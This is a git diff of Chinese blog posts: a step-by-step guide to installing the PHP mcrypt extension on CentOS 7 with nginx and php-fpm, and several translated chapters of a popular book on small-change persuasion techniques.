+在文章最后，说一下nano、vi和vim都只是Linux下的编辑器，花几分钟，学习一下，你就会了。 + +1. 这里说一下vi吧，其实我也不太会，但是勉强还能用一点，进入以后，键盘i进入插入模式，不进行输入的时候就esc，然后切换到你要输入的位置，保存退出的话是键盘输入:wq并且回车键退出 + +2. 这里再说一下nano吧，进入以后，键盘上下左右进入代码需要插入的地方，Ctrl+W快速查找 Ctrl+O保存修改 Ctrl+X退出编辑 diff --git a/_posts/2016-11-24-118-php-mcrypt.md b/_posts/2016-11-24-118-php-mcrypt.md new file mode 100644 index 0000000..ca8294d --- /dev/null +++ b/_posts/2016-11-24-118-php-mcrypt.md @@ -0,0 +1,180 @@ +--- +layout: post +title: 如何给Centos安装mcrypt库 +pid: 118 +tags: [centos] +--- +本文[参照](http://www.cnblogs.com/huangzhen/archive/2012/09/12/2681861.html) 具体步骤按照本人实际操作。 + +本文环境： + +Centos 7 + php-fpm + nginx + mcrypt + + +# 首先确保Nginx和php-fpm已经安装并且配置好 + +## Nginx配置如下 + + /etc/nginx/conf.d/default.conf + + server { + + # 监听端口，默认就是8000 + listen 8000; + + # 网站域名 + server_name www.wecenter.com; + + # 网站根目录(我是改成了/home/wwwroot) + root /home/wwwroot; + #root /usr/share/nginx/html; + index index.php index.html index.htm; + + location / { + try_files $uri $uri/ /index.php; #开启伪静态 + } + + # 错误页配置 + error_page 404 /404.html; + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + + # php-fpm配置，即对于php后缀的，都是用php-fpm处理 + location ~ \.php$ { + try_files $uri =404; + fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; + #fastcgi_pass 127.0.0.1:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + } + } + +## PHP配置如下 + + /etc/php.ini + cgi.fix_pathinfo=0 + + + +## php-fpm配置如下 + + /etc/php-fpm.d/www.conf + + ; The address on which to accept FastCGI requests. + ; Valid syntaxes are: + ; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific address on + ; a specific port; + ; 'port' - to listen on a TCP socket to all addresses on a + ; specific port; + ; '/path/to/unix/socket' - to listen on a unix socket. + ; Note: This value is mandatory. + ;listen = 127.0.0.1:9000 + listen=/var/run/php-fpm/php-fpm.sock + + + ; Unix user/group of processes + ; Note: The user is mandatory. If the group is not set, the default user's group + ; will be used. + ; RPM: apache Choosed to be able to access some dir as httpd + ;user = apache + user = nginx + ; RPM: Keep a group allowed to write in log dir. + ;group = apache + group = nginx + + + +## 新建测试文件info.php到目录/home/wwwroot + + + + +## 重启nginx和php-fpm + + sudo systemctl restart php-fpm + sudo systemctl restart nginx.service + sudo systemctl reload nginx.service + + +## 打开浏览器测试 + + http://[Your_IP_Address]:8000/info.php + +然后你就可以看到目前你的PHP相关的所有配置，如果页面没有出来，或者不成功，请对照以上步骤，仔细查阅，看看哪里写的不对。 + + +# 安装mcrypt库 + + #确认系统是否已经安装了mcrypt + yum list installed|grep mcrypt + +如果没有安装，请安装。 + + #安装命令 + yum install libmcrypt libmcrypt-devel mcrypt mhash + + +# 安装php的mcrypt扩展(动态加载编译) + +下载php下的mcrypt扩展或者直接下载php的完整安装包 +http://cn.php.net/releases/ 网页下找到自己服务器的php版本，下载后tar解压（本人的是php5.4.16） +进入ext/mcrypt文件夹 + + tar -xzvf php-5.4.16.tar.gz + [wwwroot@localhost ~]# cd php-5.4.16/ext/mcrypt/ + +执行phpize命令（phpize是用来扩展php扩展模块的，通过phpize可以建立php的外挂模块，如果没有？yum install php53-devel里包含了，或者其他方法） + + [wwwroot@localhost mcrypt]# whereis phpize //为了确定phpize存在 + phpize: /usr/bin/phpize /usr/share/man/man1/phpize.1.gz + [wwwroot@localhost mcrypt]# phpize + Configuring for: + PHP Api Version: 20090626 + Zend Module Api No: 20090626 + Zend Extension Api No: 220090626 + +执行完后，会发现当前目录下多了一些configure文件，最后执行php-config命令就基本完成了 +执行以下命令，确保你的/usr/bin/php-config是存在的 + + [wwwroot@localhost mcrypt]# whereis php-config + php-config: /usr/bin/php-config /usr/share/man/man1/php-config.1.gz + [wwwroot@localhost mcrypt]# ./configure --with-php-config=/usr/bin/php-config + +如果遇到以下错误(configure: error: no acceptable C compiler found in $PATH)，请先安装gcc， + + 命令yum install gcc + + +直到不报错，出现：config.status: creating config.h，执行以下命令 + + [wwwroot@localhost mcrypt]# make && make install + +最后的最后，会提示你如下，说明你大功告成了 + + Installing shared extensions: /usr/lib64/php/modules/ + +顺便检查下/usr/lib64/php/modules/里的mrcypt.so扩展是否已经创建成功 +然后的事就简单了，给你的php.ini添加一条extension=mcrypt.so + + extension_dir=/usr/lib64/php/modules + extension=mcrypt.so + + service php-fpm restart 重启php + + [wwwroot@localhost mcrypt]# cd /etc/php.d + 创建一个mrcypt.ini文件就行，里面写extension=mcrypt.so + + [wwwroot@localhost php.d]# vim mcrypt.ini + ;Enable mcrypt extension module + extension=mcrypt.so + + +# 检测Mcrypt是否安装成功 + + http://192.168.10.64:8000/info.php + 页面上应该显示 + mcrypt support：enabled + mcrypt_filter support：enabled diff --git a/_posts/2016-11-25-119-the-small-big-04.md b/_posts/2016-11-25-119-the-small-big-04.md new file mode 100644 index 0000000..623d690 --- /dev/null +++ b/_posts/2016-11-25-119-the-small-big-04.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 04 强大的环境暗示 +pid: 119 +tags: [细节如何轻松影响他人] +--- +20世纪90年代，纽约市长鲁迪·朱利安尼（Rudy Giulianl）和美国其他地区的一些政府官员采纳了社会科学家詹姆斯·威尔逊（James Wilson）和乔治·凯琳（George Kelling）提出的“破窗理论”。这项理论表明，即使是一个象征杂乱的微小讯号——比如住宅区里有一扇窗户破了，或某个店面的门坏了没修——都有可能为范围更广的负面新闻推波助澜，原因就是它传达的社会规范意味。 + +接受了这个理论的朱利安尼，纽约市市警察局长以及其他政府官员，开始重点整治那些关于混乱无序和轻微罪行的微小但强有力的讯号。他们的做法包括清除涂鸦、打扫街道，对一些看似极小的违规行为实行零容忍政策，比如乘地铁时逃票的行为，虽然这方面的科学证据还不充分，但政客们认为这些举措有效地节制了更为严重的罪行和违规行为。然而，行为科学家基思·凯泽（Kees Keizer）、西格沃特·林登伯格（Siegwart Lindenberg）和琳达·斯蒂格（Linda Steg）的研究是否揭示的确凿无疑的证据，说明这些看似微小的、违背社会规范的行为确实会对环境中的其他行为造成影响，更为重要的是，他们的研究指出，政策制定者和相关商业机构运用一些微小的改变，就能得到显著的收效。 + +在现场实验中，凯泽和同事们测试了在某个环境下，一些关于混乱的微妙讯号会在多大程度上引发其他负面行为。在一项测试中，研究者们找到一个完美的场景：在一家荷兰购物中心外面有条小巷子，前来购物的顾客常常把自行车停放在里面。趁着车主们都待在购物中心里的时候，研究怎么把购物中心的广告单页用橡皮筋套在自行车的车把上。第一种情况下，研究者们什么也没动，就离开了小巷子；第二种情况下，他们往小巷的墙上喷的涂鸦。由于附近没有垃圾桶，从购物中心出来、发现自己的自行车把手上被人放了广告的顾客们面临一个简单的选择:取下广告纸之后，是把它带回家呢，还是随手扔在地上？ + +结果显示，当小巷的墙上没有涂鸦的时候，33%的自行车车主把广告纸扔在了地上；墙上有那涂鸦之后，这个比例达到了69%。 + +在另一个非常有趣的实验中，凯泽和同事们找了一个有好几个入口的停车场，他们用临时围栏把其中一个入口堵上，在上面张贴了一张告示，说此门不开，想要取车的话请走另外一个入口（大约在180米开外）。然而，研究者们故意在围栏上留了一个开口，人要是真想从这里钻进去的话也能过得去。他们还在围栏上放了另一个“禁止把自己自行车锁在栏杆上”的告示。实验中唯一的变量就是四辆自行车：第一种情况下，这几辆自行车只是停靠在围栏旁边；第二种情况下，他们全都锁在了围栏上。 + +结果如何？当自行车只是停靠在围栏旁的时候，27%的行人违反了指示，径直穿过围栏进入了停车场。然而，当四辆自行车全部被锁在了围栏上，既违背了第二个告示的时候，穿过围栏的行人比率竟然高达82%。 + +到目前为止，这个研究告诉我们，当人们看到其他人违反了某条社会规范之后，他们不但更有可能亲自去违反一下，而且还更有可能去违反另外一条相关的社会规范。例如，一个遛狗的人允许他的狗在公园里便溺，或许并不是因为他看到另一条遛狗的人这么做，而是因为他看到了公园里其他的混乱迹象，比如有人随地扔垃圾或烟头。当办公室里的职员经过复印机或碎纸机旁边，发现哪儿乱糟糟的，随处散落的散落着纸片的时候，他们就更加有可能违反办公室里的其他规定，比如把用过的咖啡杯随手留在桌子上，或是在厨房吃饭时洒了食物也不收拾。 + +可是，看到一个貌似不起眼的脏乱场面，真的会让平时不会顺手牵羊的人去偷东西吗？为了验证这个问题，研究者们把一个贴了邮票、写了地址的信封半塞半露的放在邮箱里，好让路人看得到也拿得到，那信封里明显放着一些钱，凯泽维一改变的因素是地上是否有乱扔的垃圾。地上没有垃圾的时候只有13%的路人偷走了信封和里头的钱。然而，当地上扔了垃圾的时候，偷窃率几乎高达了一倍——大约25%的人偷走了它们！ + +这些发现显示出，环境中的细微线索对人们的行为具有多么强大的影响力。因此，如果你有责任（或有兴趣）鼓励人们做出对社会有益的行为时，你不但应该对要传达的信息做一些小改动，也要对环境来一点儿小小的改变——要知道改变人们所处的环境往往比改变他们的想法容易的多，效果也要好得多。 + +更进一步说，上述研究工作显示，默许人们违反看似相对来说并不重要的规范，而且违反的迹象清楚可见，这很可能会导致人们在更加重要的问题上违规。比如说，商场或许会认为，试衣间里或洗手间里偶尔有点垃圾没什么大不了的，可是，这项很有说服力的研究显示，那点垃圾很可能会导致商场里的偷窃率上升。在职场中，如果管理者默许办公室里环境一直脏乱，或是东西坏了也不修理，那么这些迹象渐渐积累起来，很可能会在无形中影响到员工的工作态度，让人变得懈怠，更糟的是可能会导致某种渎职行为。 + +那么，经理人、市议会成员，甚至是政策的制定者可以运用哪些“四两拨千斤”的方法高效率地影响人们，让大家在社区和公共区域做出他们所倡导的行为？ + +前文提到的那些研究者们最近做的一项社会心理学方面的研究，得出了一个较新的结论，从中我们可以总结出一个方法。与大家都认为的相反，让人生活在一个整洁有序的环境中（员工厨房里没有脏杯子、公园里没有随手丢弃的垃圾、人行道干干净净），并不能塑造出最强有力的、能让人做出受鼓励行为的背景环境。实际上，最强有力的背景环境就是，要让人们清楚地看到其他人都在遵守规范。因此最有效的“四两拨千斤”的方法并不是让人们置身于一个已经井然有序的环境中，而是让人们置身于一个能够看到他人遵守秩序的环境中。换言之，在办公室里，最好的“四两拨千斤”的方法或许是把收拾厨房和员工更衣室的时间段调整一下。与其让保洁工在他家全都下班之后来干活，还不如让他们提前来，好让员工们看到办公室环境恢复整洁的过程。 + +政府官员们可以采用的一个类似方法是，倡导市民们不要只是简单地“不去做糟糕的行为”，而是以一种公开的方式，去纠正他人的糟糕行为。市政当局可以拨出资源，把那些希望公开表达对脏乱环境的不满的市民组织起来，去清理湖泊和海滩上的漂浮物，清除房屋上的涂鸦，打扫街道上的垃圾，通过这些手段来倡导民众维持整洁。本书作者之一与雷蒙德·雷诺（Raymond Reno）和卡尔·卡尔格伦（Carl Kallgren）同做的一项研究显示，这样做的效果好得出乎意料。观察结果显示，在正常情况下，38%的路人会把手上的广告宣传单随手扔在街上。但是如果路人看到有人把别人扔掉的宣传单捡起来，扔垃圾的人数比率就会降到了仅仅4%。 + +要是我们宣称如果某个员工总爱把变质的鱼肉卷或一个月前的牛奶留在公司冰箱里，而你没有制止他这个坏习惯，于是我们公司肯定会成为下一个破产的安然公司，那也未免太夸张了。可是，我们敢说在塑造人们行为的时候，由于背景环境起到的作用与你所传达的信息内容一样重要，所以，即便是对环境进行一个看似很小的调整，也会带来显著的收效。 diff --git a/_posts/2016-11-28-120-the-small-big-05.md b/_posts/2016-11-28-120-the-small-big-05.md new file mode 100644 index 0000000..81613d7 --- /dev/null +++ b/_posts/2016-11-28-120-the-small-big-05.md @@ -0,0 +1,31 @@ +--- +layout: post +title: 05 改个名字,改变一切 +pid: 120 +tags: [细节如何轻松影响他人] +--- +2012年10月月末，飓风桑迪呼啸着穿过加勒比地区，掠过大西洋中部，然后在美国东北部再次登陆，在沿途造成了极大的破坏。速度接近每小时100英里（约160公里）的狂风，再加上瓢泼的大雨，造成大面积的区域受灾，损失超过了750亿美元。受灾过后，成千上万的人们参与了清理和救灾行动，诸如美国红十字会和联合国这样的组织也加入进来。企业也伸出援手，一些新闻频道播出了长时间的募捐呼吁节目,筹到了数百万美元的善款。 + +新闻节目起到的作用可不只是号召人们捐款救灾。他们还给飓风起了一大堆绰号，从带着挑衅意味的，到明摆着引发恐惧心理的，不一而足。比如，“飓雪”，为的是强调可能会伴随“飓风桑迪”到来的大量降雪。“妖风”又是一个，指的是这场风雨来临的日子跟万圣节十分接近。 + +给飓风取一个非正式的，能引发恐惧心理的绰号是否能募集到更多救灾款项，这方面的证据我们不清楚，但有确凿的证据是，官方给飓风起的正式名字能在很大程度上影响人们为救灾捐款。这些证据不仅令人惊讶，他们还会揭示出一些重要的、关于“小改变、大影响”的深刻见解。 + +对救灾捐款的数据进行分析之后，心理学教授杰西·钱德勒（Jesse Chandler）得到了一个非常有趣的发现。有意思的是，如果某人名字的首字母刚好跟飓风名字的首字母相同，那他就更容易捐款。例如钱德勒发现，如果飓风的名字是丽塔（Rita），那么名字首字母是R的人，比如罗伯特（Robert）或罗斯玛丽（Rosemary），捐款的可能性就比首字母不是R的人高出260%。他们在卡特里娜飓风（Hurricane Katrina）的案例中也发现了同样的效应，名字以K开头的人在救灾捐款活动中表现得就比他人积极踊跃的多。回溯往年的记录，每一次飓风灾害都符合这个相同的模式——名字首字母与飓风名字相同的人，捐款率都比其他人大得多。 + +市场营销学教授亚当·奥尔特（Adam Alter）在《粉红牢房效应：绑架思维、感觉和行为的9大潜在力量》（Drunk Tank Pink）中提出了一个非常有价值的见解。如果人们真的更加愿意为名字的首字母跟自己一样的飓风捐款，那么，负责为飓风命名的机构，也就是世界气象组织只需要一个简单的方法就能提高赈灾救款的数额：用更为常见的名字给飓风起名。由于近年来气象学取得的进步，人们可以预测出风暴将会袭击哪些地区，看看这些地区的选民登记资料，然后挑出一个该地区最常见的人名就可以了。 + +乍一看，这种主意简直就是古怪科学家们为了博头条而做的研究，或是人们为了下个周末的晚餐派对琢磨出来的愚蠢谈资。可是，若把这些发现当作无稽之谈，那就无异于忽视了人类心理中一个根本又强大的特点——事实情况是，我们非常重视自己的名字。 + +想想这样的场景吧：在某个大会现场、商务会议或派对上，你跟一个同事或朋友聊得非常投机，你正全神贯注地跟对方说话，以至于丝毫没有留意身边其他的事情。可是你突然听到房间那头有人提到了你的名字，你的注意力马上就转移了。这就好像你头上竖着一个隐形的雷达，在不停地扫描周边的环境，只要有人一提到你的名字，即刻就会作出反应。这种现象是如此普遍，以至于心理学家们专门给它起了个名字，鸡尾酒会现象（The Cocktail Party Phenomenon）。 + +如果你想多寻找一些证据来证明人们有多么重视自己的名字，那么下次你在开会或跟一群朋友们待在一起时，试试这个小实验：给每个人发一张纸，请他们写下字母表中他们最喜欢的五个字母。如果他们跟参与过这项实验的受试者差不多，那么当大家看到大家的答案时，十有八九你会看到一种神奇的规律：每个人选中的字母都跟自己名字里用到的非常相似，尤其是首字母。 + +那么，这种规律如何帮你成功地影响他人呢？ + +任何说服策略中都有一个不可或缺的部分，那就是吸引对方的注意力。因此，清楚而多次地提到对方的名字是个很有道理的做法，或者最起码，要让你的请求或传达的信息跟受众的名字发生关联。例如，我们与一组英国医生一起做过一个实验：我们用短信来提醒患者按时参加预约的诊疗，如果短信中把患者的名字加上去，爽约率就比不加名字的时候降低了57%。有趣的是，如果我们用的是患者的全名（比如约翰·史密斯）或是更为正式的称谓（比如史密斯先生），就一点也没用。唯有写出患者的名字（不加姓氏）才有收效。 + +这种“四两拨千斤”的方法不但可以用来揭止因患者爽约而造成的效率低下，还可以用来说服人们交罚款。“行为洞察组”是一个由行为科学家组成的精英小组，他们原本在英国政府的核心部门工作，如今供职于一家商业机构。他们所做的一项研究表明，如果在交罚款的短信通知中写上缴款人的名字和罚款金额，比起不写名字时，清缴率提高了近一半——从23%增加到33%。 + +在启动新的商业活动或工作项目时，满足人们重视自己名字的天性也能起到很大的作用。当你需要为新项目命名时，你可能会想起一个意蕴深远、神秘莫测的名字，以便吸引人们的注意力，调动他们的积极性。可是，飓风研究指出了另一条道路。与其把新项目比作神话中从灰烬中涅槃而生的鸟玩儿，希望借此唤起员工们的激情和共鸣，你还不如换个简单的方法：从参与这个项目的员工名单中选择一个出现率最高的名字，没准这样你获得的支持会更多。或者，最起码你可以选出一个出现次数最多的首字母，以它为基础来为项目命名。医药公司的高级管理人员可以浏览经常在药方中使用公司生产药物的医生名单，等到下一个创世新药问世的时候，就有了命名参考——推广新药物Painaway（关节炎软膏）的初期，去拜访Painton医生，必定是个精明的做法。 + +看，改个名字，就这样改变了一切。 diff --git a/_posts/2016-11-28-121-the-small-big-06.md b/_posts/2016-11-28-121-the-small-big-06.md new file mode 100644 index 0000000..d321054 --- /dev/null +++ b/_posts/2016-11-28-121-the-small-big-06.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 06 如何化敌为友 +pid: 121 +tags: [细节如何轻松影响他人] +--- +商业环境极少静如止水。变革往往发生在转瞬之间，给我们带来一史料未及的挑战。突如其来的一次并购，昨天的竞争对手可能在今天就成了同事。对商业模式进行一次调整，长久以来的死对头或许就变成最完美的合作伙伴。看似简单的一次公司重组，或许就成能让以前从没碰过面的两个部门合二为一。 + +在这种情况下建立起合作关系一向是非常困难的。如果双方原本是对手，都曾经拼命地把自己跟对方区别开，如今却要开始携手共事，那么挑战就更大了。因此，当昔日的敌对双方“联姻结合”，哪些小小的方法可以鼓励人们接纳曾经的竞争对手成为新家庭中的一员，与新同事并肩工作，欣然共事呢？ + +可能的答案来自一个截然不同的群体，这个群体一向以喜欢“针锋相对”而闻名于世：球迷。 + +对抗与竞争是体育运动中的常态。差不多每个球迷都有这种体会，那种对抗的感觉是同水火，而且代代相传。想想洋基队和红袜队就知道了，还有凯尔特人队和湖人队、巴塞罗那队和皇家马德里队、芝加哥熊队和绿湾包装工队。 + +如果双方的对抗达到了这种程度，那很难想象他们会愿意在任何事情上展开合作。但是，英国心理学家马克·莱文（Mark Levine）所作的出色研究表明，即便是在最为极端的情况下，依然有些东西能把我们联结在一起，而不是分开。 + +凯文先请一群英国足球迷——刚好是曼联队的死忠粉——填写一张问卷，内容是写下他们喜欢曼联的哪些方面。填好问卷之后，球迷们需要走到校园里的另一幢楼，去参加下一阶段的研究。往那撞楼走的路上，曼联队球迷会看到一个慢跑的人（其实是工作人员假扮的）摔了一跤，而且看上去受伤了。第一种情况下，慢跑的人穿了一件没写字的白上衣；第二种情况下，他穿了一件曼联队的球衣；第三种情况下，他穿的是曼联队的死对头——利物浦队的球衣（在我们看来，此举相当勇敢）。 + +观察员们拿着记录板在隐秘的地方观察，记下有多少曼联队球迷会出手相助。结果是，要是你出去跑步，而且倒霉地受了伤，你能否得到帮助跟你穿的上衣有很大关系。在研究中，当慢跑者穿的是素白T恤的时候，大约1/3的曼联队球迷停下来帮忙了。当他们看到伤者穿的是曼联球衣，说明此人是他们中的一员的时候，绝大多数都帮忙了。 + +可是，当慢跑者看着死对头利物浦队的球衣时，情况如何呢？停下来帮忙的面对曼联队球迷非常少。这是一个非常有说服力的证据，说明人们只愿意帮助自己的“同类”。 + +让人欣慰的是，这些对情境做一个小小的改动，人们就会更加愿意敞开心怀帮助并接纳那些一度被自己视为“外人”的人。在相同的实验中，当曼联队球迷率先填写的那张问答卷问的是“你为什么喜欢当一个足球迷”的时候（而不是“喜欢自己球队的哪些方面”），愿意帮助穿着对手球衣的慢跑者的人数翻了倍。 + +所以，此处的“四两拨千斤”的方法就是：当你需要鼓励大家联手合作的时候，应该把重点放在他们的共同身份上。因此，如果管理者和领导者想要提倡团队内部形成合作和支持的氛围，多花点时间去关注成员们的共同点是非常明智的做法。把重点放在联结因素上，而不是分离因素上。 + +有没有办法把相似性的正面效应充分放大呢？有的。 + +沃顿商学院教授、畅销书《沃顿商学院最受欢迎的成功课》（Give and Take）的作者亚当·格兰特（Adam Grant）建议说，当我们强调共同点的时候，对共同点的类型做个简单的调整就可以了。 + +他的建议是，与其让大家把重点放在与新同事、新团队、新部门成员所共有的那些常见的共同点上，还不如去寻找并强调那些“非比寻常”的共同点。也就是说，应该关注哪些与新同事共有的、却在其他群体中极为少见的相似之处。寻找这种非比寻常的共同点的过程——尤其是在关系构建的早期——不但能增进新人的融入感，同时还可以塑造出“我们跟别人不一样”的独特感（在这个案例中是跟其他的竞争群体不一样）。 + +管理者帮助大家寻找这种不寻常共同点的方法之一，就是在开展一切正式工作之前，先鼓励团队成员填写一份有助于相互了解的表格。请注意，“请列出你最喜欢的电视节目”或“列出你最喜欢的旅行地点”，这样的问题可能不合格，因为这样发现的相似点很可能会相当普遍。相反，应该采用的做法是请团队成员多举几个回答，比如写出5～10个。以“喜欢的电视节目”为例，清单列得越长，团队成员就越可能发现，原来其他同事也喜欢某个名气不大或收视率很低的心爱节目。 + +无论是简单的部门重组，还是两个行业巨头的合并，重大的变化总要过一段时间才能尘埃落定。提倡新团队的成员积极地寻找“非比寻常的共同点”，尽管是一个很小的举措，却的确可以帮助团队在合作和共事方面迈出很大的一步。 diff --git a/_posts/2016-11-28-122-the-small-big-07.md b/_posts/2016-11-28-122-the-small-big-07.md new file mode 100644 index 0000000..03d1994 --- /dev/null +++ b/_posts/2016-11-28-122-the-small-big-07.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 07 预测他人的喜好、渴望与需求 +pid: 122 +tags: [细节如何轻松影响他人] +--- +美国游戏节目《新婚夫妻大考验》（Newlywed Game）最初播出是在1966年，内容是让新婚夫妇回答一系列跟对方有关的问题，而且难度逐渐加深，为的是看看他们对彼此有多么了解（或是不了解）。鉴于将近五十年后，这档节目还在联合电视网中不断重播，足见他确实是掌握了某种制胜秘诀。 + +预测他人的喜好，渴望和需求的能力并不局限于《新婚夫妻大考验》这样的电视节目。它也是任何一个影响策略的重要组成部分。这种事做起来也相当难，尤其是在一段关系刚刚形成的时候，你可能对影响目标的好恶了解相当少。幸运的是，虽然我们会因为不够了解新客户而感到忧虑，但我们对老客户是相当了解的，也就是那些一直跟我们保持联系、不断有生意来往的人，想到这一点，不安的感觉就减轻多了。与他人建立起长期关系并定期沟通的一大好处就是，算准他们的喜好和需求好像挺容易的。 + +可实际情况并不是这样。即便对方是我们认识了很久的人，而且我们自以为能猜出他们的好恶和需求，有时候我们也会错的离谱。其实，有证据显示，我们认识某人的时间越长，就越不大可能猜准对方的喜好。 + +在行为科学家本杰明·沙伊贝翰（Benjamin Scheibehenne）、贾塔·玛塔（Jutta Mata）和彼德·托德（Peter T）所作的一组研究中，受试者在1分～4分的范围内对118项事务进行评估打分，1分是完全不喜欢，4分是非常喜欢。此外，这些人还需要预测一位自己的熟人对这些事物会如何打分。有些受试者只能选择认识时间比较短的人（平均相识年数是2年）；另外一些需要选择认识时间长得多的人（平均相识年数为十年以上）。 + +在这个研究中，4档的分值设定很重要，因为它意味着，如果打分的是一个彻头彻尾的陌生人，那么按照概率，此人猜中的比率大概是25%，幸运的是，实验结果让大家松了一口气，这两组受试者对熟人喜好预测准确度比纯粹陌生人的结果高。 + +可是……也没高到哪儿去。 + +为相识大约两年的熟人做预测的那组人，准确度是42%。令人惊讶的是，为相识十年以上的熟人做预测的那组人，准确度竟然只有36%。 + +但最说明问题的是，所有受试者都没意识到，自己对别人的了解竟然如此之少。在研究者们做的预备测试中，两组人都认为自己起码能说准60%。当然，我们在此处要问的问题是，为什么这样？ + +原来，导致对老熟人的喜好的预测准确度不升反降的潜在原因有很多。一个很明显的解释是，我们与他人之间绝大多数的了解与信息交换都发生在交往的初期，此时相互了解的热情相当高。随着时间过去，这种热情劲儿慢慢降温了，新信息的交换也随之变得没那么频繁。因此，我们可能没有注意到对方的喜好发生了变化。 + +猜不准老熟人喜好的另一个可能原因是，因为相处的时间长了，所以双方都认为关系相当紧密，因此他们会自以为十分了解对方，所以就不大去注意对方在态度和喜好上的变化，如果这些变化是逐渐发生的，或是比较细微，那就更加注意不到了。 + +还有证据表明，在某些情况下认识了很久的人或许彼此说一些善意的谎言，或是避免坦诚直率的交谈。这种行为有保护关系的重要功能，在这种情况下是可以理解的。然而，这个原本是想保护长期关系的方法会让人们逐渐渐疏语音的了解，反而有可能破坏这段关系。因此，虽然在某些领域里，年纪渐长或许会让我们变得更加睿智，但这种智慧未必能延伸到人际关系中去，除非我们采取一些手段，确保双方能够一直坦诚的沟通，交流彼此的好恶。这样的手段不仅有道理，也是健康的。 + +此类方法对于工作的沟通也有帮助。试想一个在业务拓展部门工作的人，他的职责是把公司的服务销售给其他企业的采购经理；再比如，一个在服务机构里任职的客户经理。在这两个例子中，这些角色很可能已经投入了大量的时间和精力，跟客户建立起能够带来丰厚利润的业务关系。也很有可能的是，他们更愿意成为唯一一个跟这些客户接触的人。毕竟他们对客户的了解最深。 + +但这项研究显示，偶尔邀请一个对客户没那么了解的同事参与会议，有可能会发掘出一些巨大的新机会，因为这位同事可能会问出一些崭新的问题，而出于信誉度考虑，经验丰富的经理人或管理者可能不方便提出这种问题，因为在对方看来，他们应该知道答案。 + +同样，在以客户为中心的组织中，培训部门在安排新员工学习时，不仅应该让他们跟着业绩最优秀的那批同事，也应该安排他们跟着那些在组织中工作时间最长的员工。这样做有两个好处：新人能够在与客户打交道的过程中学到宝贵的经验，老员工也能从认识呢许多年的客户那儿得到一些有价值的新东西。本章中的“四两拨千斤”的策略就是，无论你是在跟一个认识多年的老客户打交道，还是跟一个合作了很久的工作搭档相处，要跟他们定期交换新资讯，安排一些非正式的沟通机会，增进彼此的了解，这样做的重要性强调也不为过。 diff --git a/_posts/2016-11-29-123-the-small-big-08.md b/_posts/2016-11-29-123-the-small-big-08.md new file mode 100644 index 0000000..d33a7bf --- /dev/null +++ b/_posts/2016-11-29-123-the-small-big-08.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 08 主动承诺的力量 +pid: 123 +tags: [细节如何轻松影响他人] +--- +“我瞧瞧，”医疗中心的经理人看着表格，“上个月353个，上上个月309个。我估计，每个月平均是300个左右，这的确很成问题啊。” + +她说的是爽约的患者，用医疗行业的术语说，就是DNAs（Did Not Attends，既没有露面），指的是那项预约了医生却没有出现的人。爽约问题不仅发生在城市里的医疗中心或是更为宽泛的医疗行业里，正如我们在本书前言中所说，每年有成千上万的商务会议、美发预约、餐厅订位，销售演示和学生辅导被人放了鸽子。在微观层面上说，一个客人在餐厅订了位置却没有来，看上去不算什么。但这本书的主题是小事也能造成大影响，要是把所有爽约事件的成本累加在一起，那数目能让人瞠目结舌。在本书前言中我们提到过，英国的医疗行业对病人爽约的总成本做出了估算，大约是每年8亿英镑（约折合10亿美元）。仅仅是因为有人没有遵守承诺，这些钱就白白打了水漂。 + +也是在前言中，我们提出了建议：的确有一些说服方法可以让人如约前来，说得更广些就是遵守承诺。你只需对原来的做法做出几个小小的、无需成本的改动，就可以获得相当惊人的效果。 + +社会影响的基本原理之一就是承诺和一致性之间的关系。这个原理说的是，咱们绝大多数人都有跟自己许下的承诺保持一致的强烈愿望，如果这个承诺是我们主动提出的、需要我们花力气参与而且被公之于众的，那就更是如此。 + +举个例子，研究者曾扮成海滩游客，把一条浴巾和一个收音机放在某个正在晒太阳的人身旁，然后下海去游泳。一种情况下，研究者会议请那位晒太阳的人（其实是受试对象）帮忙照看一下收音机。绝大多数人都同意了，并且很友善地做了口头承诺：“没问题。”第二种情况下，研究者没有请晒太阳的人照看物品就径直游泳去了。此时，真正的实验开始了。另一个研究人员扮成顺手牵羊的小贼，跑过来一把抓起收音机就跑。获得对方口头承诺的小小举动对结果（瞧见这一幕的晒太阳的人是否会起身去追）造成了巨大影响。在研究者没有要求口头承诺的情况下，20个人里只有4人阻止；在研究者提出要请求的情况下，20个人里有19个都采取了行动。为什么？因为他们已经答应要遵守承诺，起身追小偷是完全符合刚才那个口头承诺的。 + +如果像“请求口头承诺”这么小的一个改变就能这么明显的揭制海滩上的盗窃行为，我们想知道，相似的办法是否能够降低医疗中心的爽约比率呢？ + +为了回答这个问题，我们找了三位医务繁忙的医生，在他们的办公室里展开了一系列实验。在病人打进常规的预约电话，约好了日期和时间之后，工作人员请他们马上大声念出这些预约细节，然后再挂上电话。这个微小的改变产生的效果不算大：我们统计后续的爽约率时，发现这个数字不过降低了3%。乍一看，这算不得太显著，可是如果考虑到两个重要因素，意义就不同了。首先，这个方法无须成本，只是在交流时多花上一两秒钟。其次，虽然以3%的比率降低看起来很小，但基数一大的话，数字就相当可观了。如果总体损失有10亿美元，降低3%就意味着节省3000万亿美元。 + +这个方法背后的含义很清晰，在繁忙的生活中，我们太容易把谈话或交流缩短，好把注意力移向下一件事。可是，没有获得口头承诺就结束沟通，其实是浪费了机会——即便这个机会带来的结果可能并不起眼。例如，如果在团队会议结束时，经理让每个人把要做的工作复述一遍，这么切实的执行就更有望实现。如果在临睡时，父母能先获得孩子的口头承诺，然后再放孩子多玩一个游戏，或是多听一个故事，多看一会儿电视，那么待会儿哄孩子上床时就不会那么费劲儿了。 + +有些时候，口头承诺也不一定非要那么明显不可。例如，如果一个业务拓展经理想邀请潜在客户来听一位行业人士做演讲，增大客户出席概率的一个方法是，他可以请客户提交一个问题，放在提问环节里备用。事先提交一个问题就如同许下一个小小的承诺，很可能会提高客户前来参会的可能性。 + +上述这些“四两拨千斤”的例子说的都是请对方做出一个简单的口头承诺，来增大你的说服力度。可是，有没有更好的让人守约的方法？有。为了搞清楚他是怎么回事，我们需要回到医生的办公室去。 + 